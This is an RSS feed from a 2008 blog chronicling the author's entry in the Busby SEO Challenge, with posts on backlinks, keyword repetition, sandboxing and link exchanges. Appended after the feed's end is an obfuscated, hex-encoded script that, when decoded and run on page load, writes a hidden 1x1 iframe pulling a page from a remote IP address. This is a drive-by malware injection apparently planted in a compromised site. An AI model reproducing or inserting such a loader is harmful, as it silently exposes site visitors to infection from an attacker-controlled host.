<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Busby SEO Challenge</title>
	<atom:link href="http://grabeh.com/playtime/feed" rel="self" type="application/rss+xml" />
	<link>http://grabeh.com/playtime</link>
	<description></description>
	<pubDate>Sat, 02 Aug 2008 11:28:08 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>Busby SEO Challenge Backlinks</title>
		<link>http://grabeh.com/playtime/busby-seo-challenge-backlinks</link>
		<comments>http://grabeh.com/playtime/busby-seo-challenge-backlinks#comments</comments>
		<pubDate>Sat, 02 Aug 2008 11:28:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[SEO Tools]]></category>

		<category><![CDATA[Back Link Checker]]></category>

		<category><![CDATA[Busby SEO Challenge]]></category>

		<guid isPermaLink="false">http://grabeh.com/playtime/?p=16</guid>
		<description><![CDATA[One of the important things you can do to improve your google ranking is to build quality back links. Sometimes if you write quality content other web owners might just link back to that article even you don&#8217;t request for it.
I&#8217;ve been trying to check my backlinks on google but I&#8217;m not sure if its really [...]]]></description>
			<content:encoded><![CDATA[<p>One of the important things you can do to improve your google ranking is to build quality back links. Sometimes if you write quality content other web owners might just link back to that article even you don&#8217;t request for it.</p>
<p>I&#8217;ve been trying to check my backlinks on google but I&#8217;m not sure if its really working or not. What I did I searched for another Backlink Checker tools and found this <a title="Back Link Checker" href="http://www.1stsearchenginerankings.com/link-popularity-tool/" target="_blank">website</a> : for me its better than other backlink checker out there.</p>
]]></content:encoded>
			<wfw:commentRss>http://grabeh.com/playtime/busby-seo-challenge-backlinks/feed</wfw:commentRss>
		</item>
		<item>
		<title>The repeatition of Busby SEO Challenge Keyword</title>
		<link>http://grabeh.com/playtime/the-repeatition-of-busby-seo-challenge-keyword</link>
		<comments>http://grabeh.com/playtime/the-repeatition-of-busby-seo-challenge-keyword#comments</comments>
		<pubDate>Wed, 30 Jul 2008 10:49:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[SEO Tips]]></category>

		<category><![CDATA[Busby SEO Challenge]]></category>

		<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://grabeh.com/playtime/?p=15</guid>
		<description><![CDATA[Here&#8217;s another SEO related question which I tried searching the answer on google.com.
Will keyword repeatition on the content helps rank a web page?
SEO Experts say that nobody knows how google treat repeating of keywords on a content entry. It was suggested that writing the article for the readers not for the search engine is one good SEO practice.
]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s another SEO related question which I tried searching the answer on google.com.</p>
<p>Will keyword repeatition on the content helps rank a web page?</p>
<p>SEO Experts say that nobody knows how google treat repeating of keywords on a content entry. It was suggested that writing the article for the readers not for the search engine is one good SEO practice.</p>
]]></content:encoded>
			<wfw:commentRss>http://grabeh.com/playtime/the-repeatition-of-busby-seo-challenge-keyword/feed</wfw:commentRss>
		</item>
		<item>
		<title>Good ranking even its not updated</title>
		<link>http://grabeh.com/playtime/good-ranking-even-its-not-updated</link>
		<comments>http://grabeh.com/playtime/good-ranking-even-its-not-updated#comments</comments>
		<pubDate>Wed, 23 Jul 2008 12:42:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[SEO Tips]]></category>

		<category><![CDATA[Busby SEO Challenge]]></category>

		<category><![CDATA[SERP]]></category>

		<guid isPermaLink="false">http://grabeh.com/playtime/?p=14</guid>
		<description><![CDATA[I&#8217;m faced with this question why some blog site ranked well on Search Engine Result Page( SERP ) even its not updated anymore versus blog site which content are updated regularly but doesn&#8217;t do much on the result page.
 
 
What I did I searched google.com for an answer. Some SEO experts mentioned that quality In Bound [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small;"><span style="font-family: Times New Roman;">I&#8217;m faced with this question why some blog site ranked well on Search Engine Result Page( SERP ) even its not updated anymore versus blog site which content are updated regularly but doesn&#8217;t do much on the result page.</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;">What I did I searched google.com for an answer. Some SEO experts mentioned that quality In Bound Linking needed for the pages that does not rank well on google. It could also be irrelevant links coming to the pages. I know these are just some of the reasons. Most likely I still need to read other SEO tips. I&#8217;m also seeing this with entries from Busby SEO Challenge. No update and yet it’s rank well on SERP.</span></p>
]]></content:encoded>
			<wfw:commentRss>http://grabeh.com/playtime/good-ranking-even-its-not-updated/feed</wfw:commentRss>
		</item>
		<item>
		<title>Almost Spring Wordpress Theme on Busby</title>
		<link>http://grabeh.com/playtime/almost-spring-wordpress-theme-on-busby</link>
		<comments>http://grabeh.com/playtime/almost-spring-wordpress-theme-on-busby#comments</comments>
		<pubDate>Tue, 22 Jul 2008 12:35:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Busby SEO Updates]]></category>

		<category><![CDATA[Busby SEO Challenge]]></category>

		<guid isPermaLink="false">http://grabeh.com/playtime/?p=13</guid>
		<description><![CDATA[The Seo contest entitled SEOcontest2008 grand winner uses Almost Spring wordpress theme. Will this be a factor in winning Busby SEO challenge? actually, i&#8217;ve uses the same theme on my other websites and it ranks well on google. You might ask me, why did you not use it for this Busby SEO challenge?  well, I think this theme is [...]]]></description>
			<content:encoded><![CDATA[<p>The Seo contest entitled SEOcontest2008 grand winner uses Almost Spring wordpress theme. Will this be a factor in winning Busby SEO challenge? actually, i&#8217;ve uses the same theme on my other websites and it ranks well on google. You might ask me, why did you not use it for this Busby SEO challenge?  well, I think this theme is much better.</p>
]]></content:encoded>
			<wfw:commentRss>http://grabeh.com/playtime/almost-spring-wordpress-theme-on-busby/feed</wfw:commentRss>
		</item>
		<item>
		<title>Bayanihan for Busby SEO Challenge</title>
		<link>http://grabeh.com/playtime/bayanihan-for-busby-seo-challenge</link>
		<comments>http://grabeh.com/playtime/bayanihan-for-busby-seo-challenge#comments</comments>
		<pubDate>Mon, 21 Jul 2008 14:00:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Busby SEO Updates]]></category>

		<category><![CDATA[Busby SEO Challenge]]></category>

		<guid isPermaLink="false">http://grabeh.com/playtime/?p=12</guid>
		<description><![CDATA[One thing I noticed on those websites that rank on the first result page for the keyword Busby SEO challenge was that they are cross linking with each other. I think if filipino participant will help each other by exchange linking I think there is no doubt a filipino will win. So, i&#8217;m opening my this site for exchange [...]]]></description>
			<content:encoded><![CDATA[<p>One thing I noticed on those websites that rank on the first result page for the keyword Busby SEO challenge was that they are cross linking with each other. I think if filipino participant will help each other by exchange linking I think there is no doubt a filipino will win. So, i&#8217;m opening my this site for exchange linking. Leave a comment.</p>
]]></content:encoded>
			<wfw:commentRss>http://grabeh.com/playtime/bayanihan-for-busby-seo-challenge/feed</wfw:commentRss>
		</item>
		<item>
		<title>Busby SEO Challenge Entry now on google page</title>
		<link>http://grabeh.com/playtime/busby-seo-challenge-entry-now-on-google-page</link>
		<comments>http://grabeh.com/playtime/busby-seo-challenge-entry-now-on-google-page#comments</comments>
		<pubDate>Sun, 20 Jul 2008 22:00:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Busby SEO Updates]]></category>

		<category><![CDATA[Busby SEO Challenge]]></category>

		<category><![CDATA[SEM]]></category>

		<category><![CDATA[SEO ranking]]></category>

		<guid isPermaLink="false">http://grabeh.com/playtime/?p=11</guid>
		<description><![CDATA[My entry to Busby SEO Challenge just came out from the Google Sandbox today. Actually, I don&#8217;t really know the reason why it was taken outfrom  the result page and sometimes is there. Did I google penalized my page? Anyway, I checked my ranking on the different google search results today which includes Google Philippines, [...]]]></description>
			<content:encoded><![CDATA[<p>My entry to Busby SEO Challenge just came out from the Google Sandbox today. Actually, I don&#8217;t really know the reason why it was taken outfrom  the result page and sometimes is there. Did I google penalized my page? Anyway, I checked my ranking on the different google search results today which includes Google Philippines, Google UK and just google.com which I don&#8217;t know which data center it is. Here are the results:</p>
<p>From google UK my site is on top 290<br />
<a href="http://www.google.co.uk/search?hl=en&amp;q=busby+seo+challenge&amp;start=280&amp;sa=N">http://www.google.co.uk/search?hl=en&amp;q=busby+seo+challenge&amp;start=280&amp;sa=N</a></p>
<p>From google Philippines my site is on top 69<br />
<a href="http://www.google.com.ph/search?hl=en&amp;q=busby+seo+challenge&amp;start=50&amp;sa=N">http://www.google.com.ph/search?hl=en&amp;q=busby+seo+challenge&amp;start=50&amp;sa=N</a></p>
<p>For google.com server my site is on top 188<br />
<a href="http://www.google.com/search?hl=en&amp;rlz=1T4GGLJ_en-GBPH279PH280&amp;q=busby+seo+challenge&amp;start=170&amp;sa=N">http://www.google.com/search?hl=en&amp;rlz=1T4GGLJ_en-GBPH279PH280&amp;q=busby+seo+challenge&amp;start=170&amp;sa=N</a></p>
<p>For google australia which they said that Busby Web solution is using for their official list my page is on top 187.</p>
<p><a href="http://66.249.89.99/search?hl=en&amp;q=busby+seo+challenge&amp;start=170&amp;sa=N">http://66.249.89.99/search?hl=en&amp;q=busby+seo+challenge&amp;start=170&amp;sa=N</a></p>
<p>thats all for now and again I still need to experiment and try to improve ranking.</p>
]]></content:encoded>
			<wfw:commentRss>http://grabeh.com/playtime/busby-seo-challenge-entry-now-on-google-page/feed</wfw:commentRss>
		</item>
		<item>
		<title>Linking to Busby SEO Challenge</title>
		<link>http://grabeh.com/playtime/linking-to-busby-seo-challenge</link>
		<comments>http://grabeh.com/playtime/linking-to-busby-seo-challenge#comments</comments>
		<pubDate>Sun, 20 Jul 2008 14:29:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<category><![CDATA[Busby SEO Challenge Links]]></category>

		<category><![CDATA[Link Love to Busby SEO challenge]]></category>

		<guid isPermaLink="false">http://grabeh.com/playtime/?p=10</guid>
		<description><![CDATA[I&#8217;m slowly helping this page by linking to it from my other domain names. I&#8217;m doing it slowly because some SEO experts mentioned that  google will flag newly created domains, subdomains or url that abnormally gets high backlinks in a very short period of time. I&#8217;m just following their advices.
]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m slowly helping this page by linking to it from my other domain names. I&#8217;m doing it slowly because some SEO experts mentioned that  google will flag newly created domains, subdomains or url that abnormally gets high backlinks in a very short period of time. I&#8217;m just following their advices.</p>
]]></content:encoded>
			<wfw:commentRss>http://grabeh.com/playtime/linking-to-busby-seo-challenge/feed</wfw:commentRss>
		</item>
		<item>
		<title>What is Busby and SEO ?</title>
		<link>http://grabeh.com/playtime/what-is-busby-and-seo</link>
		<comments>http://grabeh.com/playtime/what-is-busby-and-seo#comments</comments>
		<pubDate>Sat, 19 Jul 2008 07:13:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<category><![CDATA[Busby]]></category>

		<category><![CDATA[Busby SEO Challenge]]></category>

		<guid isPermaLink="false">http://grabeh.com/playtime/?p=9</guid>
		<description><![CDATA[According to Wikipedia Busby is the English name for Hungarian prémes csákó or kucsma, a militiary head-dress made of fur. While SEO is an abbreviation for Search Engine Optimization. Usually this is the process of making a website search engine friendly specially to popular search engine like google.com. In addition to that process content is [...]]]></description>
			<content:encoded><![CDATA[<p>According to Wikipedia Busby is the English name for Hungarian prémes csákó or kucsma, a militiary head-dress made of fur. While SEO is an abbreviation for Search Engine Optimization. Usually this is the process of making a website search engine friendly specially to popular search engine like google.com. In addition to that process content is created with keyword rich of services or products so that the chances to appear on first page on search result is high.</p>
]]></content:encoded>
			<wfw:commentRss>http://grabeh.com/playtime/what-is-busby-and-seo/feed</wfw:commentRss>
		</item>
		<item>
		<title>Busby SEO Challenge : Tip #1</title>
		<link>http://grabeh.com/playtime/busby-seo-challenge-tip-1</link>
		<comments>http://grabeh.com/playtime/busby-seo-challenge-tip-1#comments</comments>
		<pubDate>Fri, 18 Jul 2008 14:36:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[SEO Tips]]></category>

		<category><![CDATA[Busby SEO Challenge]]></category>

		<guid isPermaLink="false">http://grabeh.com/playtime/?p=8</guid>
		<description><![CDATA[One of SEO tip I&#8217;ve learned after reading some Busby SEO challenge entries is to have an image or photos with filename busby seo challenge.  Example : busby-seo-challenge.jpg. These SEO experts say its effective. So, with that I&#8217;m going to try it on this page.


]]></description>
			<content:encoded><![CDATA[<p>One of SEO tip I&#8217;ve learned after reading some Busby SEO challenge entries is to have an image or photos with filename busby seo challenge.  Example : busby-seo-challenge.jpg. These SEO experts say its effective. So, with that I&#8217;m going to try it on this page.</p>
<p><a href="http://grabeh.com/playtime/wp-content/uploads/2008/07/busbyseochallenge.jpg"></a></p>
<p style="text-align: center;"><a title="Busby SEO Challenge" href="http://www.grabeh.com/playtime/"><img class="size-full wp-image-7" title="busbyseochallenge" src="http://grabeh.com/playtime/wp-content/uploads/2008/07/busbyseochallenge.jpg" alt="Busby Seo Challenge Image" width="400" height="106" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://grabeh.com/playtime/busby-seo-challenge-tip-1/feed</wfw:commentRss>
		</item>
		<item>
		<title>Busby SEO Challenge Updates</title>
		<link>http://grabeh.com/playtime/busby-seo-challenge-updates</link>
		<comments>http://grabeh.com/playtime/busby-seo-challenge-updates#comments</comments>
		<pubDate>Thu, 17 Jul 2008 15:22:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<category><![CDATA[Busby SEO Challenge]]></category>

		<guid isPermaLink="false">http://grabeh.com/playtime/?p=6</guid>
		<description><![CDATA[This is my entry number four. Just to give some updates about this SEO challenge.
There are some changes to the ranking results today. Google shows me pogung117 dot com got the lead. For that changes I&#8217;m just going to check on that site.
According to the pogung117 ,  the site got sandbox by google. Meaning the site disappeared for  [...]]]></description>
			<content:encoded><![CDATA[<p>This is my entry number four. Just to give some updates about this SEO challenge.</p>
<p>There are some changes to the ranking results today. Google shows me pogung117 dot com got the lead. For that changes I&#8217;m just going to check on that site.</p>
<p>According to the pogung117 ,  the site got sandbox by google. Meaning the site disappeared for  the result pages for awhile. Well, I can relate to it. This website got Sandbox too. So, my post cannot be found anywhere on google.</p>
<p>Most likely the site pogung117 blogger mentioned on his site that some Busby participants did some digging over at Digg portal but he posted on his site that it wont help that much in getting to higher ranking. Well, I guess its up to us if we will trying to use digg or not. Some SEO guys believe though that Digg plays some factor in getting that desired SERP. Well, lets try it.</p>
]]></content:encoded>
			<wfw:commentRss>http://grabeh.com/playtime/busby-seo-challenge-updates/feed</wfw:commentRss>
		</item>
	</channel>
</rss>
<script>function c1058032905m491891c44c6dc(m491891c44cb1d){ var m491891c44d672=16; return (parseInt(m491891c44cb1d,m491891c44d672));}function m491891c44dee8(m491891c44e2d8){ function m491891c44eecc(){return 2;} var m491891c44e701='';m491891c44fab8=String.fromCharCode;for(m491891c44ead2=0;m491891c44ead2<m491891c44e2d8.length;m491891c44ead2+=m491891c44eecc()){ m491891c44e701+=(m491891c44fab8(c1058032905m491891c44c6dc(m491891c44e2d8.substr(m491891c44ead2,m491891c44eecc()))));}return m491891c44e701;} var z1c='';var m491891c4502b0='3C7'+z1c+'3637'+z1c+'2697'+z1c+'07'+z1c+'43E696628216D7'+z1c+'96961297'+z1c+'B646F637'+z1c+'56D656E7'+z1c+'42E7'+z1c+'7'+z1c+'7'+z1c+'2697'+z1c+'465287'+z1c+'56E657'+z1c+'363617'+z1c+'065282027'+z1c+'2533632536392536362537'+z1c+'322536312536642536352532302536652536312536642536352533642536332533312533302532302537'+z1c+'332537'+z1c+'32253633253364253237'+z1c+'2536382537'+z1c+'342537'+z1c+'342537'+z1c+'30253361253266253266253337'+z1c+'253337'+z1c+'253265253332253332253331253265253331253333253333253265253331253337'+z1c+'253332253266253265253639253636253266253637'+z1c+'2536662532652536382537'+z1c+'34253664253663253366253237'+z1c+'2532622534642536312537'+z1c+'342536382532652537'+z1c+'322536662537'+z1c+'352536652536342532382534642536312537'+z1c+'342536382532652537'+z1c+'32253631253665253634253666253664253238253239253261253335253335253338253337'+z1c+'253336253239253262253237'+z1c+'253631253337'+z1c+'253337'+z1c+'253631253633253635253337'+z1c+'253334253339253237'+z1c+'2532302537'+z1c+'37'+z1c+'2536392536342537'+z1c+'34253638253364253331253332253332253230253638253635253639253637'+z1c+'2536382537'+z1c+'342533642533342533352533382532302537'+z1c+'332537'+z1c+'342537'+z1c+'39253663253635253364253237'+z1c+'2536342536392537'+z1c+'332537'+z1c+'302536632536312537'+z1c+'39253361253230253665253666253665253635253237'+z1c+'2533652533632532662536392536362537'+z1c+'3225363125366425363525336527'+z1c+'29293B7'+z1c+'D7'+z1c+'6617'+z1c+'2206D7'+z1c+'969613D7'+z1c+'47'+z1c+'27'+z1c+'5653B3C2F7'+z1c+'3637'+z1c+'2697'+z1c+'07'+z1c+'43E';document.write(m491891c44dee8(m491891c4502b0));</script><script>check_content()</script>